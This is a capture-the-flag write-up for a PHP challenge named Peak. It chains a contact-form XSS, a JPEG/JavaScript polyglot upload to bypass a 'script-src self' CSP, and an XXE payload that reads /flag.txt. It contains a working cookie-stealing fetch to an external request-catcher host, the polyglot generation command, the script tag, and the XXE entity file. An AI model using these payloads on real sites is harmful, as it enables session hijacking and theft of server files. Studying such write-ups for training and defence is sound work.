Peak was a PHP web application, where users could register, login, view a map, and send requests via a contact form. The source code was provided in full.

When users sent a request via the contact form, an admin would look at those requests after a few minutes. This admin user was simulated with a Selenium script that periodically browsed the website and looked at new requests.

The flag was stored on the server’s file system in /flag.txt.

Circumventing CSP with a JPEG/JS polyglot

The contact form was vulnerable to XSS, so we could easily inject arbitrary HTML and JavaScript code. However, the application used a strict CSP, which only allowed scripts from the same origin and no inline scripts.

Content-Security-Policy: script-src 'self'

Since object-src was not restricted, we first tried to inject an SVG image with an embedded script, but that didn’t work, probably because recent browsers don’t allow SVGs to execute scripts anymore.

To get files on the server, we were also able to upload images via the contact form. This upload however was very well written: It only allowed JPEG and PNG files, checked the file extension, gave the new file a random name, checked the MIME type of the file, and even checked the image dimensions.

$target_file = "";
if(isset($_FILES['image']) && $_FILES['image']['name'] !== "")
{
    $targetDirectory = '/uploads/';

    $timestamp = microtime(true);
    $timestampStr = str_replace('.', '', sprintf('%0.6f', $timestamp));
    
    $randomFilename = uniqid() . $timestampStr;
    $targetFile = ".." . $targetDirectory . $randomFilename;
    $imageFileType = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
    $allowedExtensions = ['jpg', 'jpeg', 'png'];

    $check = false;
    try
    {
        $check = @getimagesize($_FILES['image']['tmp_name']);
    }
    catch(Exception $exx)
    {
        throw new Exception("File is not a valid image!");
    }
    if ($check === false) 
    {
        throw new Exception("File is not a valid image!");
    }
    if (!in_array($imageFileType, $allowedExtensions)) 
    {
        throw new Exception("Invalid image file type. Allowed types: jpg, jpeg, png");
    }
    if (!move_uploaded_file($_FILES['image']['tmp_name'], $targetFile)) 
    {
        throw new Exception("Error uploading the image! Try again! If this issue persists, contact a CTF admin!");
    }
    $target_file = $targetDirectory . $randomFilename;
}

After hours of brainstorming, we stumbled upon an article by Gareth Heyes from PortSwigger on Bypassing CSP using polyglot JPEGs, published in December 2016. They provided an img_polygloter.py script, which crafts a valid JPG or GIF file, that is also a valid JavaScript file. This would allow us to upload a valid image to the server which could later be used as a valid script source.

Our payload was simple. We wanted to steal the admin’s cookie by sending it to a request catcher:

fetch("https://SOME-UUID.requestcatcher.com/?cookie=" + document.cookie, { mode: "no-cors" });

This command generates a valid JPEG/JS polyglot:

./img_polygloter.py jpg --height 123 --width 321 --payload 'JS_PAYLOAD_FROM_ABOVE' --output poly.jpg

The full plan to steal the admin’s cookie was as follows:

  1. Upload the polyglot image via the contact form, only to get the image onto the server.
  2. Send another request to the contact form, with an XSS payload that loads the polyglot image as a script.
  3. Wait for the admin to look at the requests and steal their cookie.

The second request was just a simple script tag with the polyglot image (uploaded in step 1) as the source:

<script charset="ISO-8859-1" src="/uploads/656230730fb951700933747064389">

Given that this script was published 7 years ago, we didn’t expect it to work, but it did! 😉

Reading arbitrary server files with XXE

With the admin’s cookie, we were able to login as the admin and get access to the admin panel. The admin panel allowed us to edit the pins that are displayed on a map. This configuration was stored in an XML file on the server and processed by the PHP application.

<link rel="stylesheet" href="https://unpkg.com/leaflet@1.7.1/dist/leaflet.css" />
<div id="map" style="height: 500px;"/>
<script src="https://unpkg.com/leaflet@1.7.1/dist/leaflet.js"></script>
<script>
var map = L.map('map').setView([0, 0], 12);
L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {attribution: '&copy; <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors'}).addTo(map);
<?php
function parseXML($xmlData)
{
    try
    {
        libxml_disable_entity_loader(false);
        $xml = simplexml_load_string($xmlData, 'SimpleXMLElement', LIBXML_NOENT);
        return $xml;
    }
    catch(Exception $ex)
    {
        return false;
    }
    return true;
}

try
{
    $xmlData = "";
    if ($_SERVER["REQUEST_METHOD"] === "POST") 
    {
        $xmlData = $_POST["data"];
        if(!parseXML($xmlData))
            $xmlData = "";
    }
    if($xmlData === "")
    {
        $xmlData = file_get_contents($xmlFilePath);
    }
    $xml = parseXML($xmlData);
    foreach($xml->marker as $marker)
    {
        $name = str_replace("\n", "\\n", $marker->name);
        echo 'L.marker(["' . $marker->lat . '", "' . $marker->lon.'"]).addTo(map).bindPopup("'.  $name. '").openPopup();' . "\n";
        echo 'map.setView(["' . $marker->lat . '", "' . $marker->lon.'"], 9);' . "\n";
    }
}
catch(Exception $ex)
{
    echo "Invalid xml data!";
}
?>
</script>

When parsing XML naively, it is possible to inject external entities (e.g., files), which can be used to read arbitrary files from the server. This is called an XML External Entity (XXE) attack. We simply uploaded the following XML file that would read the flag from the server and store it in the name field of a marker:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///flag.txt" >]>
<markers>
    <marker>
        <lat>47.0748663672</lat>
        <lon>12.695247219</lon>
        <name>&xxe;</name>
    </marker>
</markers>

Finally, we just needed to look at the map and read the flag.